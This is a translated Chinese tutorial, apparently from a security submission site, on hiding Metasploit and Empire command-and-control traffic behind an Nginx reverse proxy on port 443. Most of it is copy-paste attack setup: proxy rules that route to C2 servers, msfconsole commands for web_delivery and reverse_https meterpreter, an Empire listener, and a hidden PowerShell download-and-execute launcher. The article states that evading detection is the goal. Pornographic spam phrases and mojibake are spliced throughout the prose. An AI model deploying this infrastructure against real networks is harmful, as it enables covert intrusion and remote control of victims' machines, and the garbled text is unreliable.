翻譯:WisFree
預估稿費:200RMB(不服你也來投稿霸槐揪镁靡坏酪槐疽坏谰非E访姥侵扪侵奕蘸谙哂霸骸)
投稿方式:發送郵件至linwei#360.cn欧美亚洲亚洲日韩在线影院,或登陸網頁版在線投稿
基礎知識
目前曰本久久一道一本一道精品区八戒八戒午夜视频,很大一部分流行的命令控制(C&C)工具都是通过HTTP来传输网络通信数据的欧美亚洲亚洲日韩在线影院,例如Metasploit和Empire国产精品久久欧美久久一区。对于C&C工具而言亚洲精品欧美精品中文字幕曰本久久一道一本一道精品区,之所以HTTP协议是一个更加高效的选择曰本久久一道一本一道精品区国产精品久久欧美久久一区,主要是因为这个协议几乎适用于目前所有类型的通信网络以及网络设备国产精品久久欧美久久一区亚洲精品欧美精品中文字幕。除此之外欧美亚洲亚洲日韩在线影院亚洲精品欧美精品中文字幕性一交一乱一色一视频,使用“HTTP over TLS”可以为这些工具添加一个额外的安全层国产精品久久欧美久久一区,因为这项技术将会使我们更加难以去检测到C&C流量亚洲丰满爆乳熟女在线观看。如果企业或组织拥有一个配置正确的Web代理蜜桃精品AV无码喷奶水小说,那么这个能够執行SSL/TLS检查的代理将会帮助安全技术人员更好地检测C&C流量欧美亚洲亚洲日韩在线影院曰本久久一道一本一道精品区日本一本道在线网址。但是在我所帮助测试过的组织中蜜桃精品AV无码喷奶水小说国产精品久久欧美久久一区,并没有多少组织采取了这样的安全措施japanese人妻vide0s0。
爲了掩飾所有的非法操作日本一本道在线网址,通過HTTP協議傳輸的C&C流量應該通過80端口或者443端口來發送蜜桃精品AV无码喷奶水小说性一交一乱一色一视频。如果使用類似8080這樣的特殊端口來發送C&C數據的話蜜桃精品AV无码喷奶水小说,不僅會引起管理員懷疑亚洲丰满爆乳熟女在线观看,而且也逃不過安全防護軟件的檢測曰本久久一道一本一道精品区蜜桃精品AV无码喷奶水小说。就我個人而言亚洲丰满爆乳熟女在线观看日本一本道在线网址国产精品久久欧美久久一区,我喜歡在同一台主機中使用多種類型的工具日本一本道在线网址八戒八戒午夜视频。如果我要在一台主機中同時使用Empire和Metasploit的網絡傳輸模塊性一交一乱一色一视频亚洲丰满爆乳熟女在线观看,我將總共需要三個網絡端口曰本久久一道一本一道精品区,一般來說我會選擇使用80端口、8080端口、以及443端口国产精品久久欧美久久一区。但是現在曰本久久一道一本一道精品区亚洲丰满爆乳熟女在线观看欧美亚洲亚洲日韩在线影院,我想要讓所有的網絡流量全部通過端口443來發送八戒八戒午夜视频。因此亚洲精品欧美精品中文字幕国产精品久久欧美久久一区欧美亚洲亚洲日韩在线影院,我現在就要使用Sword&Shield所提供的安全分析服務了欧美亚洲亚洲日韩在线影院亚洲丰满爆乳熟女在线观看,這樣我就可以使用一個C&C代理來完成所有的分析操作曰本久久一道一本一道精品区。
接下來japanese人妻vide0s0,我打算使用Nginx來搭建一個反向代理服務器蜜桃精品AV无码喷奶水小说。如下圖所示亚洲精品欧美精品中文字幕,這樣我們就可以使用一台Web服務器來同時處理多用戶-多工具的情況了日本一本道在线网址japanese人妻vide0s0亚洲丰满爆乳熟女在线观看。當代理服務器配置完成之後亚洲丰满爆乳熟女在线观看,代理規則將會負責對發送至C2服務器端口的流量進行劃分八戒八戒午夜视频亚洲精品欧美精品中文字幕曰本久久一道一本一道精品区。除此之外国产精品久久欧美久久一区日本一本道在线网址,這樣的配置也可以隱藏C&C服務器的“真實身份”(實際主機)八戒八戒午夜视频日本一本道在线网址。Nginx不僅安裝和配置非常簡單性一交一乱一色一视频亚洲丰满爆乳熟女在线观看欧美亚洲亚洲日韩在线影院,而且操作起來也非常便捷亚洲丰满爆乳熟女在线观看日本一本道在线网址。多用戶-多工具的C&C代理架構圖如下圖所示:
Nginx的安裝與配置
首先japanese人妻vide0s0曰本久久一道一本一道精品区,将你最喜欢的Linux发行版安装至一台VPS服务器中国产精品久久欧美久久一区,你愿意的话也可以将其安装在自己的服务器里国产精品久久欧美久久一区。为了方便大家理解日本一本道在线网址,我选择将Ubuntu 16.10安装在一台VPS主机中japanese人妻vide0s0亚洲精品欧美精品中文字幕蜜桃精品AV无码喷奶水小说。如果各位同学在Nginx的安装和运行上遇到了困难的话亚洲精品欧美精品中文字幕蜜桃精品AV无码喷奶水小说曰本久久一道一本一道精品区,可以参阅这份教程[教程获取]日本一本道在线网址欧美亚洲亚洲日韩在线影院曰本久久一道一本一道精品区。通过配置之后蜜桃精品AV无码喷奶水小说八戒八戒午夜视频,我的服务器仅启用了80端口国产精品久久欧美久久一区日本一本道在线网址蜜桃精品AV无码喷奶水小说,并且只允许网络流量通过443端口来发送japanese人妻vide0s0。
在測試開始之前性一交一乱一色一视频亚洲精品欧美精品中文字幕亚洲丰满爆乳熟女在线观看,我們一定要將Nginx配置好国产精品久久欧美久久一区亚洲丰满爆乳熟女在线观看,否則代理服務器將會不知道如何去處理那些通信連接日本一本道在线网址八戒八戒午夜视频曰本久久一道一本一道精品区。爲了防止暴力破解攻擊八戒八戒午夜视频国产精品久久欧美久久一区欧美亚洲亚洲日韩在线影院,我們要爲每一個分析器分配一個GUID八戒八戒午夜视频国产精品久久欧美久久一区欧美亚洲亚洲日韩在线影院。你可以點擊這裏來生成相應的GUID蜜桃精品AV无码喷奶水小说八戒八戒午夜视频。我所生成的GUID如下表所示:
我總共設置了三個分析器japanese人妻vide0s0,每一個分析器的相關配置信息如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | #Analyst 1 location /E0922BB0-684B-4ED3-967E-85D08880CFD5/ { proxy_redirect off; #Empire location /E0922BB0-684B-4ED3-967E-85D08880CFD5/e/ { proxy_pass https://205.232.71.92:443; } #Metasploit location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/ { #Metasploit exploit/multi/script/web_delivery location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery { proxy_pass https://205.232.71.92:8080; } #Metasploit Payload windows/x64/meterpreter/reverse_https location /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned { proxy_pass https://205.232.71.92:80; } } } #Analyst 2 location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/ { proxy_redirect off; #Empire location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/e/ { proxy_pass https://1.2.3.5:443; } #Metasploit location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/ { #Metasploit exploit/multi/script/web_delivery location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/Delivery { proxy_pass https://1.2.3.5:8080; } #Metasploit Payload windows/x64/meterpreter/reverse_https location /30061CD8-0CEE-4381-B3F8-B50DCACA4CC8/m/Pwned { proxy_pass https://1.2.3.5:80; } } } #Analyst 3 location /6012A46E-C00C-4816-9DEB-7B2697667D92/ { proxy_redirect off; #Empire location /6012A46E-C00C-4816-9DEB-7B2697667D92/e/ { proxy_pass https://1.2.3.6:443; } #Metasploit location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/ { #Metasploit exploit/multi/script/web_delivery location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/Delivery { proxy_pass https://1.2.3.6:8080; } #Metasploit Payload windows/x64/meterpreter/reverse_https location /6012A46E-C00C-4816-9DEB-7B2697667D92/m/Pwned { proxy_pass https://1.2.3.6:80; } } } |
由于我們要讓Nginx需要區分出Metasploit和Empire的請求蜜桃精品AV无码喷奶水小说,所以我突發奇想japanese人妻vide0s0曰本久久一道一本一道精品区欧美亚洲亚洲日韩在线影院,打算用‘m’來代表Metasploit国产精品久久欧美久久一区蜜桃精品AV无码喷奶水小说性一交一乱一色一视频,用‘e’來代表Empire曰本久久一道一本一道精品区。Empire的C2請求如下所示:
1 | https://myc2proxy.com/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/index.asp |
現在性一交一乱一色一视频,既然我們已經可以確定傳入的HTTP請求所使用的語句了亚洲精品欧美精品中文字幕国产精品久久欧美久久一区,那麽Nginx就需要將每一個請求轉發至適當的分析代理服務器中亚洲丰满爆乳熟女在线观看japanese人妻vide0s0,這項操作可以使用Nginx配置文件(/etc/nginx/sites-enabled/default)中的定位指令來完成八戒八戒午夜视频。在這篇文章中日本一本道在线网址,我們要爲每一個分析器分別設置四個定位指令japanese人妻vide0s0蜜桃精品AV无码喷奶水小说。在上面這段代碼中性一交一乱一色一视频曰本久久一道一本一道精品区八戒八戒午夜视频,最外層的指令將會與分析器的GUID進行匹配欧美亚洲亚洲日韩在线影院蜜桃精品AV无码喷奶水小说国产精品久久欧美久久一区。內層的定位指令主要用來匹配針對特定工具的請求欧美亚洲亚洲日韩在线影院国产精品久久欧美久久一区,例如‘e’(Empire)和‘m’(Metasploit)八戒八戒午夜视频。Metasploit的定位指令包含兩個子定位指令亚洲精品欧美精品中文字幕,這兩個指令可以用來匹配傳入Metasploit特定模塊和監聽器的網絡請求欧美亚洲亚洲日韩在线影院。
現在japanese人妻vide0s0,C&C代理服務器應該配置完成並且可以正常運行了japanese人妻vide0s0亚洲丰满爆乳熟女在线观看。如果配置無誤的話亚洲精品欧美精品中文字幕,我們將只能使用TLS連接和端口443來與服務器進行通信曰本久久一道一本一道精品区八戒八戒午夜视频。
Metasploit的安裝與配置
衆所周知八戒八戒午夜视频,Metasploit提供了很多的功能模塊japanese人妻vide0s0曰本久久一道一本一道精品区,我們可以使用這些模塊來與目標用戶的計算機建立C2連接曰本久久一道一本一道精品区国产精品久久欧美久久一区。我個人比較喜歡使用“exploit/multi/script/web_delivery”模塊來作爲launcher国产精品久久欧美久久一区性一交一乱一色一视频。我之所以非常喜歡這個模塊曰本久久一道一本一道精品区亚洲丰满爆乳熟女在线观看,主要是因爲它可以將meterpreter(ShellCode)注入至目標主機的內存中亚洲丰满爆乳熟女在线观看。這是一種非常理想的情況欧美亚洲亚洲日韩在线影院亚洲丰满爆乳熟女在线观看,因爲你可以直接使用目標主機中的內置工具來進行操作亚洲丰满爆乳熟女在线观看japanese人妻vide0s0,而不必向目標主機發送任何的文件性一交一乱一色一视频日本一本道在线网址蜜桃精品AV无码喷奶水小说。
接下来欧美亚洲亚洲日韩在线影院国产精品久久欧美久久一区,我们要加载Nginx配置文件所需要使用的Metasploit呐访姥侵扪侵奕蘸谙哂霸貉侵薹崧槭炫谙吖劭囱侵蘧放访谰分形淖帜唬块性一交一乱一色一视频蜜桃精品AV无码喷奶水小说,并使用URIPATH来对其进行设置八戒八戒午夜视频。需要注意的是曰本久久一道一本一道精品区japanese人妻vide0s0欧美亚洲亚洲日韩在线影院,自带的payload handler必须被禁用日本一本道在线网址,因为我们要单独配置这些payload国产精品久久欧美久久一区日本一本道在线网址曰本久久一道一本一道精品区。在配置这个拿厶揖稟V无码喷奶水小说八戒八戒午夜视频国产精品久久欧美久久一区?榈墓讨醒侵蘧放访谰分形淖帜还肪镁门访谰镁靡磺毡疽槐镜涝谙咄罚琾ayload使用的是“windows/x64/meterpreter/reverse_https”蜜桃精品AV无码喷奶水小说,然后将LHOST和LPORT设置为C2代理服务器的IP地址和端口号国产精品久久欧美久久一区欧美亚洲亚洲日韩在线影院日本一本道在线网址。请注意亚洲丰满爆乳熟女在线观看性一交一乱一色一视频,这里可千万不要设置成后台C2服务器的IP地址了日本一本道在线网址。除此之外日本一本道在线网址蜜桃精品AV无码喷奶水小说,我们还要设置与payload(例如Pwned)和Nginx中的指令相匹配的LURI亚洲丰满爆乳熟女在线观看亚洲精品欧美精品中文字幕。虽然相应的监听器根本不会启动性一交一乱一色一视频日本一本道在线网址,但我们仍然要去配置这些payload曰本久久一道一本一道精品区。因为接下来当拿厶揖稟V无码喷奶水小说japanese人妻vide0s0?楸粓绦兄笮砸唤灰宦乙簧皇悠得厶揖稟V无码喷奶水小说欧美亚洲亚洲日韩在线影院,我们要使用这些设置来生成显示在屏幕中的启动命令亚洲丰满爆乳熟女在线观看蜜桃精品AV无码喷奶水小说。我们可以将下面给出的这段指令直接复制粘贴到msfconsole中来配置并启动该墓肪镁门访谰镁靡磺访姥侵扪侵奕蘸谙哂霸喊私浒私湮缫故悠担块:
1 2 3 4 5 6 7 8 9 10 | use exploit/multi/script/web_delivery set URIPATH /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery set DisablePayloadHandler true set SSL True set TARGET 2 set payload windows/x64/meterpreter/reverse_https set LHOST myc2proxy.com set LPORT 443 set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned run –j |
下圖顯示的是Metasploit中web_delivery模塊的配置信息:
當模塊被執行後japanese人妻vide0s0亚洲精品欧美精品中文字幕亚洲丰满爆乳熟女在线观看,屏幕中會顯示一個包含有啓動代碼的字符串欧美亚洲亚洲日韩在线影院亚洲丰满爆乳熟女在线观看。請注意:必須將網絡端口由8080改爲443欧美亚洲亚洲日韩在线影院亚洲精品欧美精品中文字幕,否則之後將無法再進行修改了亚洲精品欧美精品中文字幕。除此之外亚洲精品欧美精品中文字幕,我們還必須手動去修改日本一本道在线网址曰本久久一道一本一道精品区,因爲我們的C2代理只會接受來自端口443的通信請求曰本久久一道一本一道精品区。這個字符串如下所示:
1 | powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$o=new-object net.webclient;$o.proxy=[Net.WebRequest]::GetSystemWebProxy();$o.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $o.downloadstring('https://myc2proxy.com:8080/E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Delivery'); |
接下來欧美亚洲亚洲日韩在线影院性一交一乱一色一视频亚洲精品欧美精品中文字幕,將LHOST設置爲0.0.0.0曰本久久一道一本一道精品区八戒八戒午夜视频蜜桃精品AV无码喷奶水小说,LPORT設置爲80(端口號的設置可以根據後台C2服務器來選擇)曰本久久一道一本一道精品区日本一本道在线网址欧美亚洲亚洲日韩在线影院。我們還需要配置OverrideLHOST、OverrideLPORT、以及OverrideRequestHost來確保payload可以直接與C2代理服務器進行對話八戒八戒午夜视频欧美亚洲亚洲日韩在线影院。我們可以將下面給出的命令直接複制粘貼到msfconsole中來配置並啓動該模塊:
1 2 3 4 5 6 7 8 9 10 | use exploit/multi/handler set payload windows/x64/meterpreter/reverse_https set LHOST 0.0.0.0 set LPORT 80 set LURI /E0922BB0-684B-4ED3-967E-85D08880CFD5/m/Pwned set OverrideLHOST myc2proxy.com set OverrideLPORT 443 set OverrideRequestHost true set ExitOnSession false run –j |
下圖顯示的是reverse_https的payload配置信息:
Empire的安裝與配置
虽然Empire是我最喜欢的一款工具japanese人妻vide0s0亚洲精品欧美精品中文字幕国产精品久久欧美久久一区,但是在配置代理服务器的过程中曰本久久一道一本一道精品区,使用Empire之前还是有几个障碍需要克服的japanese人妻vide0s0欧美亚洲亚洲日韩在线影院,相比之下Metasploit的配置和使用就简单多了亚洲丰满爆乳熟女在线观看性一交一乱一色一视频。在PowerShell v1中japanese人妻vide0s0,初始链接序列所使用STAGE0、STAGE1和STAGE2是在empire.db的配置表中定义的亚洲丰满爆乳熟女在线观看性一交一乱一色一视频。在我看来亚洲精品欧美精品中文字幕曰本久久一道一本一道精品区,我们是无法在Empire CLI中修改这部分数据的亚洲精品欧美精品中文字幕国产精品久久欧美久久一区,所以我们必须直接手动修改数据库国产精品久久欧美久久一区亚洲丰满爆乳熟女在线观看。但是八戒八戒午夜视频,PowerShell Empire v2并没有使用这种架构曰本久久一道一本一道精品区亚洲精品欧美精品中文字幕蜜桃精品AV无码喷奶水小说。我建议各位同学使用git来下载Empire v2分支亚洲精品欧美精品中文字幕欧美亚洲亚洲日韩在线影院八戒八戒午夜视频,命令如下:
1 | cd /opt;git clone -b 2.0_beta https://github.com/adaptivethreat/Empire.git |
下載完成之後蜜桃精品AV无码喷奶水小说亚洲精品欧美精品中文字幕japanese人妻vide0s0,啓動應用性一交一乱一色一视频。由于Empire監聽器所使用的端口必須與C2代理服務器的監聽端口相同欧美亚洲亚洲日韩在线影院,所以Empire必須使用端口443和HTTPS協議性一交一乱一色一视频欧美亚洲亚洲日韩在线影院。我們可以直接將下面給出的這段命令複制粘貼進Empire中來配置監聽器:
1 2 3 4 5 6 7 8 9 | listeners uselistener http set DefaultProfile /E0922BB0-684B-4ED3-967E-85D08880CFD5/e/admin/get.php,/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/news.asp,/E0922BB0-684B-4ED3-967E-85D08880CFD5/e/login/process.jsp|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;rv:11.0) like Gecko set Name EmpireC2 set CertPath /opt/Empire/data/empire.pem set Host https://myc2proxy.com set Port 443 execute launcher powershell |
Empire監聽器的配置信息如下圖所示:
執行
现在性一交一乱一色一视频欧美亚洲亚洲日韩在线影院亚洲精品欧美精品中文字幕,我们已经为Nginx C2代理配置好了一个用于分析数据流量的后台C2服务器了曰本久久一道一本一道精品区日本一本道在线网址性一交一乱一色一视频。接下来八戒八戒午夜视频性一交一乱一色一视频亚洲精品欧美精品中文字幕,我们要在测试主机中執行我们所生成的其中一个launcherjapanese人妻vide0s0,你将会在后台C2服务器中看到测试主机的shell日本一本道在线网址。为了增加安全措施亚洲精品欧美精品中文字幕日本一本道在线网址,配置后台C2服务器只允许当前C2代理访问亚洲丰满爆乳熟女在线观看japanese人妻vide0s0亚洲精品欧美精品中文字幕。
結論
代理可以用來保持後台服務的匿名性日本一本道在线网址八戒八戒午夜视频性一交一乱一色一视频。當你需要在某個網絡中進行命令控制活動時欧美亚洲亚洲日韩在线影院性一交一乱一色一视频,代理所提供的這種特性是非常有用的日本一本道在线网址亚洲精品欧美精品中文字幕亚洲丰满爆乳熟女在线观看。由于HTTPS的通信數據足夠安全蜜桃精品AV无码喷奶水小说,因此現在越來越多的網絡都開始使用HTTPS來進行通信了蜜桃精品AV无码喷奶水小说japanese人妻vide0s0。但是japanese人妻vide0s0国产精品久久欧美久久一区性一交一乱一色一视频,這也將有助于我們躲避安全産品的檢測蜜桃精品AV无码喷奶水小说性一交一乱一色一视频八戒八戒午夜视频。